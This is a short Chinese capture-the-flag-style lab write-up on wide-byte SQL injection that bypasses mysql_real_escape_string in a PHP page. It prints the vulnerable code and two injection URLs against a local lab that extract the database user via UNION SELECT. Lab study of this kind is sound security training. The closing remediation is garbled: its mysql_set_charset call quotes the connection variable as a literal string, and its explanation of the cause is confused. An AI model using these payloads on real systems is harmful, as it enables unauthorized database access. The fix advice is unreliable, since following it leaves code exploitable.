关键代码
function check_quotes($string) { $string= mysql_real_escape_string($string); return $string; } $id=check_quotes($_GET['id']); mysql_query("SET NAMES gbk"); $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; print_r(mysql_error());
上面的check_quotes()函数是利用了mysql_real_escape_string()函数进行的过滤。
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
- x00
- '
- "
- x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
但是因mysql我们并没有设置成gbk,所以mysql_real_escape_string()依旧能够被突破。方法和上述是一样的。
方法一:利用%df突破
http://127.0.0.1/sql/Less-36/?id=-1%df' union select 1,user(),3--+
方法二:利用 ' 的utf-16突破
http://127.0.0.1/sql/Less-36/?id=-1%EF%BF%BD%27union select 1,user(),3--+
Notice:在使用mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将mysql设置为gbk即可。
设置代码:
mysql_set_charset('gbk','$conn')